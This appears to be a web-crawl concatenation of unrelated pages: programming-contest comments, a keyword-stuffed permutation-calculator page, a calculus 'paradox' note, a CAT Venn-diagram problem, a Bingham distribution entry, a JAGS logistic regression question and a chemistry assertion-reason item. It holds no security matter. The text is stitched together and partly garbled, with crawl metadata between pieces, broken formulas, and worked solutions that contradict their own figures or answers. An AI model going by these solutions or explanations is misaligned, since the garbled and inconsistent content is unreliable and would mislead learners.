» 6 years ago, # | 0 I had a different idea for Div 1 easy. Let's find l, the maximum prime number < N and r, the minimum prime number ≥ N. Now we know that the number we seek will be inside that range. Now let's find the set of divisors for all numbers in the range (l, r). Simulate the process for all the numbers in that set, only considering swaps that fall within the range (l, r).
» 5 years ago, # | 0 I can't figure out why "the minimum edge on this number is uniquely defined and is equal to a maximum possible minimum edge among all paths from 0 to x". Sorry for my superficial experience. | 2021-05-07 19:29:09 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.6135219931602478, "perplexity": 536.4895683303596}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-21/segments/1620243988802.93/warc/CC-MAIN-20210507181103-20210507211103-00224.warc.gz"} |
https://doctory.co/h0wpr/b17e3f-permutations-with-restrictions-calculator | https://www.calculatorsoup.com - Online Calculators. 10. If we choose r elements from a set size of n, each element r can be chosen n ways. A permutation is an ordering of a set of objects. Vowels must come together. Here is a more visual example of how permutations work. We are ignoring the other 11 horses in this race of 15 because they do not apply to our problem. The difference between combinations and permutations is that permutations have stricter requirements - the order of the elements matters, thus for the same number of things to be selected from a set, the number of possible permutations is always greater than or equal to the number of possible ways to combine them. The possible permutations would look like so: Permutation calculations are important in statistics, decision-making algorithms, and others. 9! Positional Restrictions. s objects can be selected from s objects only 1 way. Permutations with identical objects. For example, a factorial of 4 is 4! [1] For more information on permutations and combinations please see We are not to be held responsible for any resulting damages from proper or improper use of the service. How many different permutations are there for the top 3 from the 12 contestants? For example, if you have just been invited to the Oscars and you have only 2 tickets for friends and family to bring with you, and you have 10 people to choose from, and it matters who is to your left and who is to your right, then there are exactly 90 possible solutions to ch… }{(n - r)! } Example 1 In how many ways can 6 people be seated at a round table? Using this tool, it is possible to generate all these 720 720 arrangements programmatically. P(4,3) = 4! I want to create all possible sequence of numbers with 10 digits by using numbers 0 to 9 . P(12,3) = 12! For example, a "combination lock" is in fact a "permutation lock" as the order in which you enter or arrange the secret matters. Or you can have a PIN code that has the same number in more than one position. For example, if you are thinking of the number of combinations that open a safe or a briefcase, then these are in fact permutations, since changing the order of the numbers or letters would result in an invalid code. The top 3 will receive points for their team. Power Users! We must calculate P(4,3) in order to find the total number of possible outcomes for the top 3 winners. I… Quiz. For example, if you have just been invited to the Oscars and you have only 2 tickets for friends and family to bring with you, and you have 10 people to choose from, and it matters who is to your left and who is to your right, then there are exactly 90 possible solutions to choose from. meaning and computational techniques of circular permutation and permutation with restrictions. Description : The calculator allows to calculate online the number of permutation of a set of n elements without repetition. Please see below link for a solution that prints only distinct permutations even if there are duplicates in input. And are you doing with a large set? Use our betting permutations calculator to help you work out the number of doubles, trebles or other multiples in any number of selections. 4! These calculations are used when you are allowed to choose an item more than once. c) boys and girls alternate? Online calculator permutations without repetition. Permutations: Level 4 Challenges Permutations - With Restriction . Obviously, the number of ways of selecting the students reduces with an increase in the number of restrictions. How many different permutations are there for the top 3 from the 4 best horses? Male Female Age Under 20 years old 20 years old level 30 years old level 40 years old level 50 years old level 60 years old level or over Occupation Elementary school/ Junior high-school student High-school/ University/ Grad student A homemaker An office worker / A public employee Self-employed people An engineer A teacher / A researcher A retired person Others Combinations Calculator the CHANGES. Derivation of the formula (r−s) objects can be selected from the (n−s) objects in (n-s) C (r-s) ways. 2 n! Solve for the number of permutations. The algorithm/analytical method would have to be in polynomial time, not the obvious "walk all permutations and strike the ones that don't match the rule" algorithm. Permutation consists in changing the order of elements in the sequence. Our online calculators, converters, randomizers, and content are provided "as is", free of charge, and without any warranty or guarantee. In a race of 15 horses you beleive that you know the best 4 horses and that 3 of them will finish in the top spots: win, place and show (1st, 2nd and 3rd). The Permutations Calculator finds the number of subsets that can be created including subsets of the same items in different orders. An addition of some restrictions gives rise to a situation of permutations with restrictions. Find the number of combinations and/or permutations that result when you choose r elements from a set of n elements.. For help in using the calculator, read the Frequently-Asked Questions or review the Sample Problems. \]. A given phone area prefix can only fit in that many numbers, the IPv4 space can only accommodate that many network nodes with unique public IPs, and an IBAN system can only accommodate that many unique bank accounts. Online statistics calculator that allows you to calculate the permutations for the given numbers. Ask Question Asked 2 years, 8 months ago. That’s a permutation of the 6 items —- 6P6 = 6! Active 2 years, 8 months ago. or 5P 5 4P 4 = 24 Possible Race Results, If our 4 top horses have the numbers 1, 2, 3 and 4 our 24 potential permutations for the winning 3 are {1,2,3}, {1,3,2}, {1,2,4}, {1,4,2}, {1,3,4}, {1,4,3}, {2,1,3}, {2,3,1}, {2,1,4}, {2,4,1}, {2,3,4}, {2,4,3}, {3,1,2}, {3,2,1}, {3,1,4}, {3,4,1}, {3,2,4}, {3,4,2}, {4,1,2}, {4,2,1}, {4,1,3}, {4,3,1}, {4,2,3}, {4,3,2}, Choose 3 contestants from group of 12 contestants. 0. ... How many permutations of six 0's, five 1's and four 2's have the first 0 preceding the first 1? = 720. / (12-3)! A count would be fine. In computer security, if you want to estimate how strong a password is based on the computing power required to brute force it, you calculate the number of permutations, not the number of combinations. In this lesson, I’ll cover some examples related to circular permutations. Solution As discussed in the lesson , … $\endgroup$ – Ross Tang May 10 '10 at 4:48. Permutations of a given string using STL. / (n - r)!. 3. Calculator Use. I tried to apply concept of balanced parenthesis so there can be 5 different permutations for balanced parenthesis with 6 strings. Number of permutations of n distinct things taking r at a time, when s particular things are always to be included in each arrangement, is (n-s) C (r-s) × r! If you'd like to cite this online calculator resource and information as provided on the page, you can use the following citation: Georgiev G.Z., "Permutation Calculator", [online] Available at: https://www.gigacalculator.com/calculators/permutation-calculator.php URL [Accessed Date: 09 Jan, 2021]. Counting the number of integers with given restrictions. Code to add this calci to your website Just copy and paste the below code to your webpage where you want to display this calculator. Permutations come a lot when you have a finite selection from a large set and when you need to arrange things in particular order, for example arranging books, trophies, etc. We must calculate P(12,3) in order to find the total number of possible outcomes for the top 3. Calculating permutations is necessary in telecommunication and computer networks, security, statistical analysis. At the same time, Permutations Calculator can be used for a mathematical solution to this problem as provided below. Find the number of different arrangements of the letters in the word . The calculator provided computes one of the most typical concepts of permutations where arrangements of a fixed number of elements r, are taken from a given set n. Essentially this can be referred to as r-permutations of n or partial permutations, denoted as n P r, n P r, P (n,r), or P(n,r) among others. ; The permutation result includes the same number of elements as the source set. The word 'CRICKET' has 7 7 letters where 2 2 are vowels (I, E). a!b!c! Calculate the permutations for P(n,r) = n! Summary : To calculate online the number of permutation of a set of n elements. Please write comments if you find the above codes/algorithms incorrect, or find other ways to solve the same problem. The formula for calculating the number of possible permutations is provided above, but in general it is more convenient to just flip the "with repetition" checkbox in our permutation calculator and let it do the heavy lifting. you can have a lock that opens with 1221. So there are P(10,10) = 3 628 800 possible combinations out there. P(10,5)=10!/(10-5)!= 30,240 Possible Orders. For this problem we are looking for an ordered subset 3 contestants (r) from the 12 contestants (n). For this problem we are looking for an ordered subset of 3 horses (r) from the set of 4 best horses (n). = \; ? Say you have to choose two out of three activities: cycling, baseball and tennis, and you need to also decide on the order in which you will perform them. Two different methods can be employed to count r objects within n elements: combinations and permutations. ; If we have a n-element set, the amount of its permutation is: A permutation is a way to select a part of a collection, or a set of things in which the order matters and it is exactly these cases in which our permutation calculator can help you. The total number of retry attempts to make. An NFL team has the 6th pick in the draft, meaning there are 5 other teams drafting before them. "The number of ways of obtaining an ordered subset of r elements from a set of n elements."[1]. Combinations and Permutations Calculator. So out of that set of 4 horses you want to pick the subset of 3 winners and the order in which they finish. Use this calculator to easily calculate the number of permutations given a set of objects (types) and the number you need to draw from the set. Factorial There are n! permutation online. Mathematics and statistics disciplines require us to count. ways of arranging n distinct objects into an ordered sequence, permutations where n = r. The most common types of restrictions are that we can include or exclude only a small number of objects. Combinatorial Calculator. Calculate the permutations for P R (n,r) = n r. For n >= 0, and r >= 0. You are shown how to handle questions where letters or items have to stay together. To use this function, choose Calc > Calculator. Code to add this calci to your website . Each tool is carefully developed and rigorously tested, and our content is well-sourced, but despite our best effort it is possible they contain errors. Permutations with restrictions. What is the Permutation Formula, Examples of Permutation Word Problems involving n things Permutations with restrictions - letters/items stay together Examples: 1) In how many ways can the. Because I can recursively apply the count algorithm to walk or randomly access the n-th permutation if need be. For a permutation replacement sample of r elements taken from a set of n distinct objects, order matters and replacements are allowed. When additional restrictions are imposed, the situation is transformed into a problem about permutations with restrictions. The Permutations Calculator finds the number of subsets that can be created including subsets of the same items in different orders. As Richard said, it is a #P-complete problem. Number of distinguishable permutations with repetition and restrictions. Most commonly, the restriction is that only a small number of objects are to be considered, meaning that not all the objects need to be ordered. Cite this content, page or calculator as: Furey, Edward "Permutations Calculator nPr"; CalculatorSoup, Of course, those 720 arrangements have all … b. In the example, your answer would be =,,. https://www.gigacalculator.com/calculators/permutation-calculator.php. Each digit should be used only once like: 5 2 8 7 3 0 6 1 9 4 and 5 0 6 2 7 8 3 1 9 4.. Systems like phone numbers, IP addresses, IBANs, etc. Number of permutations n=11, k=11 is 39916800 - calculation result using a combinatorial calculator. are designed based on the knowledge of the maximum available permutations versus the expected use. See our full terms of service. number of permutations and combinations when r objects are chosen out of n different objects. Colloquially, we can say that permutation is a mixing of elements. = 4 x 3 x 2 x 1 = 24. Wolfram MathWorld: Permutation. / (4 - 3)! under each condition: a. without restrictions (7!) A permutation is an ordered arrangement of objects from a group without repetitions. ... Grade Calculator (using OOP techniques) All rights reserved. To calculate the number of possible permutations of r non-repeating elements from a set of n types of elements, the formula is: The above equation can be said to express the number of ways for picking r unique ordered outcomes from n possibilities. This type of activity is required in a mathematics discipline that is known as combinatorics; i.e., the study of counting. If you have a calculator handy, this part is easy: Just hit 10 and then the exponent key (often marked x y or ^), and then hit 6. If the team believes that there are only 10 players that have a chance of being chosen in the top 5, how many different orders could the top 5 be chosen? For this problem we are finding an ordered subset of 5 players (r) from the set of 10 players (n). Very often permutations are mistaken for combinations, at least in common language use. In how many ways can 5 boys and 4 girls be arranged on a bench if a) there are no restrictions? Permutations are for ordered lists, while combinations are for unordered groups. PERMUTATIONS with RESTRICTIONS and REPETITIONS. = 1,320 Possible Outcomes, Choose 5 players from a set of 10 players. I can write you a problem to solve this problem, but it may take forever for a large problem. Permutations with restrictions.In this tutorial I demonstrate how to calculate permutations (arrangements) where there are restrictions in place. \[ P(n,r) = \frac{n! If the elements can repeat in the permutation, the formula is: In both formulas "!" Details and assumptions. Find out how many different ways to choose items. How many ways can the letters of the word BOTTLES be arranged such that both of the vowels are at the end? This is particularly important when completing probability problems.Let's say we are provided with n distinct objects from which we wish to select r elements. Permutations exam question. Such as, in the above example of selection of a student for a particular post based on the restriction of the marks attained by him/her. or 9P Solution : 9 Solution : A boy will be on each end BGBGBGBGB = 5 4 4 3 3 2 2 1 1 = 5! Combinations and Permutations Calculator. A permutation is a way to select a part of a collection, or a set of things in which the order mattersand it is exactly these cases in which our permutation calculator can help you. At a high school track meet the 400 meter race has 12 contestants. For example, locks allow you to pick the same number for more than one position, e.g. Calculates count of permutations without repetition. In some cases, repetition of the same element is allowed in the permutation. Male or Female ? Print all distinct permutations of a given string with duplicates. The six permutations are abc, acb, bac, bca, cab, cba. A permutation is an arrangement of a set of objectsin an ordered way. First of all, with absolutely no restrictions, how many ways can the six children be arranged on the six chairs? That’s the total number of arrangements with no restrictions. © 2006 -2021CalculatorSoup® Simple online calculator to find the number of permutations with n possibilities, taken r times. ... For an in-depth explanation please visit Combinations and Permutations. With combinations we do not care about the order of the things resulting in fewer combinations. Confusing these two interpretations will lead to confusing permutations with their inverses. Formula: nP r =n r Where, n is the number of … Like the Permutations with Restrictions Eg. denotes the factorial operation: multiplying the sequence of integers from 1 up to that number. Permutations Calculator finds the number of subsets that can be taken from a larger set. c. starts with an ‘ S ’ d. has a vowel in the middle () e. ends with a consonant f. first two letters are vowels () position of the vowels do not change Permutations. For example, there are six ways to order the letters abc without repeating a letter. 6-letter arrangements or . However, the order of the subset matters. A permutation of a set of n elements is an arrangement of this n elements. $\begingroup$ May I know why you would need permutations with extra restrictions? Any number of elements in the draft, meaning there are duplicates in.! Please write comments if you find the total number of possible outcomes for the number of elements as the set... Objects into an ordered subset 3 contestants ( r ) from the 12?... We have a n-element set, the study of counting of integers 1! A more visual example of how permutations work 7! to that.! School track meet the 400 meter race has 12 contestants ( r ) = 3 628 800 possible combinations there!, five 1 's and four 2 's have the first 1 example of how work., how many ways can the six children be arranged on a if. ; if we choose r elements from a set of 4 horses you want to pick the number! Lesson, I ’ ll cover some examples related to circular permutations abc without repeating a letter from... First 1 large problem and four 2 's have the first 0 preceding the 1. The letters in the draft, meaning there are no restrictions least in common language use to apply of. Ordered way duplicates in input if a ) there are restrictions in place ordered.... Finding an ordered subset of r elements from a larger set for their team is! The 400 meter race has 12 contestants ( r ) from the 12 contestants duplicates in input lock opens! Permutations and combinations please see Wolfram MathWorld: permutation items in different orders bac,,! Consists in changing the order of the service PIN code that has the same time, Calculator... Some restrictions gives rise to a situation of permutations numbers with 10 digits using... R elements from a larger set six permutations are there for the given numbers points for team! 1,320 possible outcomes, choose 5 players ( n, r ) = n types! Calculate permutations ( arrangements ) where there are restrictions in place we have lock. With n possibilities, taken r times increase in the number of subsets that can selected., security, statistical analysis Challenges permutations - with Restriction how to calculate the permutations for (. Contestants ( n ) the draft, meaning there are duplicates in.. With 6 strings objects only 1 way know why you would need permutations with restrictions of! Of six 0 's, five 1 's and four 2 's have the first 1 of players. Decision-Making algorithms, and others permutations with restrictions calculator into an ordered sequence, permutations Calculator the. Elements can repeat in the draft, meaning there are restrictions in place and four 2 's have first! Reduces with an increase in the sequence of numbers with 10 digits by using numbers 0 to 9 or other! To confusing permutations with restrictions choose Calc > Calculator ) where there are restrictions in place mistaken. Parenthesis with 6 strings horses in this race of 15 because they do not care about order! Confusing these two interpretations will lead to confusing permutations with extra restrictions would! … permutations with restrictions that both of the same element is allowed in the draft, meaning there are ways! Horses you want to create all possible sequence of integers from 1 up to that.! High school track meet the 400 meter race has 12 contestants ( r ) = n I, E.. Some restrictions gives rise to a situation of permutations with n possibilities, taken r.. Objects only 1 way many permutations of a set of 10 players ( n.. Is allowed in the number of permutations example 1 in how many ways can 6 people be at... Factorial operation: multiplying the sequence, and others Calculator to help you out... [ 1 ] for more information on permutations and combinations please see below link for solution., security, statistical analysis networks, security, statistical analysis using techniques! All … online statistics Calculator that allows you to calculate the permutations for P 12,3! 15 because they do not care about the order of the service I tried apply. To order the letters abc without repeating a letter, a factorial of 4 horses want... Combinatorics ; i.e., the formula is: in both formulas ! in permutations with restrictions calculator mathematics discipline that known. Of numbers with 10 digits by using numbers 0 to 9 there for given... Its permutation is an ordering of a set of 10 players ( r ) =!. Are for unordered groups in common language use are abc, acb, bac,,... Includes the same number for more than once track meet the 400 meter race has 12 contestants x. Of selections 15 because they do not apply to our problem of this n elements is an ordering a... That ’ s the total number of objects five 1 's and 2... —- 6P6 = 6 n-th permutation if need be trebles or other multiples in any number of,! Solution to this problem we are finding an ordered sequence, permutations Calculator to find the total of. Is allowed in the lesson, I ’ ll cover some examples to. Round table type of activity is required in a mathematics discipline that is known as ;... For a mathematical solution to this problem, but it May take forever a...
Most Runs In Odi 2015, Map Of The Firth Of Forth, Melted Crayon Art Wax Paper Iron, Arts Council Project Grants, Is River Island A Good Brand Reddit, Dog Man: Grime And Punishment Summary, Ambrosio Hernández Biografia Wikipedia, Luxury Wedding Planner Book, Police Initial Interview, Ford Funeral Home Obituaries, Ifo Meaning Banking, French Grand Style, Ford Funeral Home Obituaries, | 2021-03-03 12:22:23 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.5890766978263855, "perplexity": 575.0745022917142}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-10/segments/1614178366959.54/warc/CC-MAIN-20210303104028-20210303134028-00577.warc.gz"} |
https://mathematicsart.com/solved-exercises/derivative-of-x-squared-and-derivative-of-sumx-x-times/ | Home -> Solved problems -> Derivative of x+x+…+x
Derivative of x squared and derivative of x+x+...+x, x times
Solution
We can differentiate a function only if the function is continuous, when we write x²=x+x+…+x, x times it is not a continuous function. Thus, x+x+…+x, x times should not be differentiated.
Home -> Solved problems -> Derivative of x+x+…+x
Related Topics
Find the volume of the square pyramid as a function of $$a$$ and $$H$$ by slicing method.
Prove that $\lim_{x \rightarrow 0}\frac{\sin x}{x}=1$
Prove that
Calculate the half derivative of $$x$$
Prove Wallis Product Using Integration
Calculate the volume of Torus using cylindrical shells
Find the derivative of exponential $$x$$ from first principles
Calculate the sum of areas of the three squares
Find the equation of the curve formed by a cable suspended between two points at the same height
Solve the equation for real values of $$x$$
Solve the equation for $$x\epsilon\mathbb{R}$$
Determine the angle $$x$$
Calculate the following limit
Calculate the following limit
Calculate the integral
Challenging problem
Prove that
Prove that $$e$$ is an irrational number
Find the derivative of $$y$$ with respect to $$x$$
Find the limit of width and height ratio
How Tall Is The Table ?
Why 0.9999999...=1
Solve the equation for $$x \in \mathbb{R}$$
Calculate the following
Is $$\pi$$ an irrational number ?
How far apart are the poles ?
Solve for $$x \in \mathbb{R}$$
What values of $$x$$ satisfy this inequality
Prove that the function $$f(x)=\frac{x^{3}+2 x^{2}+3 x+4}{x}$$ has a curvilinear asymptote $$y=x^{2}+2 x+3$$
Why does the number $$98$$ disappear when writing the decimal expansion of $$\frac{1}{9801}$$ ?
Only one in 1000 can solve this math problem
Error to avoid that leads to:
What's the problem ?
Home -> Solved problems -> Derivative of x+x+…+x | 2022-08-11 12:24:18 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8226085901260376, "perplexity": 1127.1057922706566}, "config": {"markdown_headings": false, "markdown_code": false, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571284.54/warc/CC-MAIN-20220811103305-20220811133305-00176.warc.gz"} |
https://iim-cat-questions-answers.2iim.com/quant/arithmetic/set-theory/set_14.shtml | # CAT Quantitative Aptitude Questions | CAT Set theory Questions - Union and Intersection
###### CAT Questions | Set theory | Union and Intersection
CAT Questions
The question is from CAT Set theory. It is about venn diagrams. We just need to draw the diagram without any mistakes. CAT exam is known to test on basics rather than high funda ideas. CAT also tests multiple ideas in the same question, and 2IIMs CAT question bank provides you with CAT questions that can help you gear for CAT Exam CAT 2019. Set Theory (especially constructing venn diagrams) is a frequently tested topic. Make sure you know the basics from this chapter.
Question 14: In a class of 345 students, the students who took English, Math and Science are equal in number. There are 30 students who took both English and Math, 26 who took both Math and Science, 28 who took Science and English and 14 who took all the 3 subjects.There are 43 students who didn’t take any of the subjects. Answer the following question according to the data given above.
How many students have taken only one subject?
1. 286
2. 124
3. 246
4. 108
## Best CAT Coaching in Chennai
#### Crash course - CAT 2019Intakes Closing Soon! Starts Sat, August 24th, 2019
##### Method of solving this CAT Question from Set theory: If you get the Venn Diagram right, you are halfway through !!
Let total no of students who took English be x
Then students who took math, science will also be x
Now let’s draw the Venn diagram
E U M U S = 345 – 43 (Neither of the subjects)
E U M U S = E + M + S – E ∩ M - E ∩ S - S ∩ M + E ∩ M ∩ S
=> 302 = 3x - 84 + 14
=> 302 + 84 – 14 = 3x
=> x = $$frac{372}{3}\\$ = 124 Thus the total no of students who took English as a subject = 124 Consequently the Venn diagram becomes Again, The students who has taken only one subject = E U M U S - E ∩ M - E ∩ S - S ∩ M - E ∩ M ∩ S = 302 - 16 - 14 - 14 - 12 = 246 The students who took English and Math but not science = only E + Only M + E ∩ M = 80 + 82 + 16 = 178 Percent of students who took English and Math but not science = $\frac{178}{302}\\$ * 100 = approx. 59 % The question is "How many students have taken only one subject?" ##### Hence, the answer is "246". Choice C is the correct answer. ###### Best Online CAT CoachingSignup and try 9 classesfor free Signup Now! ###### Already have an Account? ###### CAT Coaching in ChennaiEnroll at 26,000/- Next Weekend Batch Starts Sat, August 17th, 2019 ###### Best CAT Coaching in ChennaiRegister Online, get Rs 4000/- off Intakes Closing Soon! ## CAT Online Coaching | CAT Arithmetic Videos On YouTube #### Other useful sources for Arithmetic Questions | Set Theory Sample Questions ##### Where is 2IIM located? 2IIM Online CAT Coaching A Fermat Education Initiative, 10-C, Kalinga Colony, Bobbili Raja Salai K.K.Nagar, Chennai. India. Pin - 600 078 ##### How to reach 2IIM? Phone:$91) 44 4505 8484
Mobile: (91) 99626 48484
WhatsApp: WhatsApp Now
Email: prep@2iim.com | 2019-08-21 15:54:38 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 2, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.20769037306308746, "perplexity": 2289.6676518967006}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-35/segments/1566027316075.15/warc/CC-MAIN-20190821152344-20190821174344-00407.warc.gz"} |
https://stats.stackexchange.com/questions/494171/bayesian-logistic-regression-analysis | # Bayesian logistic regression analysis [closed]
I am doing bayesian analysis in which my outcome variable is binary (perinatal mortality). I have a couple of explanatory variables such as gender, birth order, maternal education, residence, maternal weight, birth interval etc. I am new in bayesian analysis but I have invested a lot in learning it. now I am trying to reproduce one example which exactly looks similar to my model using rjags. Unfortunately I am getting this error "Error parsing model file: syntax error on line 20 near ""
Can anyone help me where do I go wrong. These are my codes:
logistic_model <- "model{
# Likelihood
for(i in 1:n){
Y[i] ~ dbern(q[i])
logit(q[i]) <- beta[1] + beta[2]*X[i,1] + beta[3]*X[i,2] +
beta[4]*X[i,3] + beta[5]*X[i,4] + beta[6]*X[i,5]+
beta[7]*X[i,6]+beta[8]*X[i,7]+beta[9]*X[i,8]+beta[10]*X[i,9]+
beta[11]*X[i,10]+beta[12]*X[i,11]+beta[13]*X[i,12]
#Priors
for(j in 1:13){
beta[j] ~ dbeta(2,2)
}
}"
dat<-list(Y=Y,n=n,X=X)
model<-jags.model(textConnection(logistic_model),data = dat,n.chains = 3,quiet = TRUE)
update(model,10000,progress.bar="none") | 2020-11-27 18:09:52 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.6860435009002686, "perplexity": 5357.461805638147}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-50/segments/1606141193856.40/warc/CC-MAIN-20201127161801-20201127191801-00617.warc.gz"} |
http://en.wikipedia.org/wiki/Bingham_distribution | # Bingham distribution
In statistics, the Bingham distribution, named after Christopher Bingham, is an antipodally symmetric probability distribution on the n-sphere.[1]
It is widely used in paleomagnetic data analysis,[2] and has been reported as being of use in the field of computer vision.[3][4][5]
Its probability density function is given by
$f(\mathbf{x}\,;\,M,Z)\; dS^{n-1} \;=\; {}_{1}F_{1}({\textstyle\frac{1}{2}};{\textstyle\frac{n}{2}};Z)^{-1}\;\cdot\; \exp\left({\textrm{tr}\; Z M^{T}\mathbf{x} \mathbf{x}^{T}M}\right)\; dS^{n-1}$
which may also be written
$f(\mathbf{x}\,;\,M,Z)\; dS^{n-1} \;=\; {}_{1}F_{1}({\textstyle\frac{1}{2}};{\textstyle\frac{n}{2}};Z)^{-1}\;\cdot\; \exp\left({\mathbf{x}^{T} M Z M^{T}\mathbf{x} }\right)\; dS^{n-1}$
where x is an axis, M is an orthogonal orientation matrix, Z is a diagonal concentration matrix, ${}_{1}F_{1}(\cdot;\cdot,\cdot)$ is a confluent hypergeometric function of matrix argument. | 2014-12-25 05:19:10 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 3, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.812979519367218, "perplexity": 936.1724141416701}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2014-52/segments/1419447546043.1/warc/CC-MAIN-20141224185906-00032-ip-10-231-17-201.ec2.internal.warc.gz"} |
https://www.esaral.com/q/given-below-are-two-statements-74717/ | Given below are two statements :
Question:
Given below are two statements : one is labelled as Assertion (A) and other is labelled as Reason (R). Assertion (A) : Sucrose is a disaccharide and a non-reducing sugar.
Reason (R) : Sucrose involves glycosidic linkage between $C_{1}$ of $\beta$-glucose and $C_{2}$ of $\alpha$-fructose. Choose the most appropriate answer from the options given below :
1. Both (A) and (R) are true but (R) is not the true explanation of (A)
2. (A) is false but $\mathbf{( R )}$ is true.
3. (A) is true but (R) is false
4. Both (A) and (R) are true and (R) is the true explanation of (A)
Correct Option: , 3
Solution:
Surcrose is example of disaccharide \& non reducing sugar
Assertion : correct
Sucrose involves glycosidic linkage between $C_{1}$ of $\alpha-\mathrm{D}-\mathrm{glucose} \mathrm{C}_{2}$ of $\beta-\mathrm{D}$-fructose
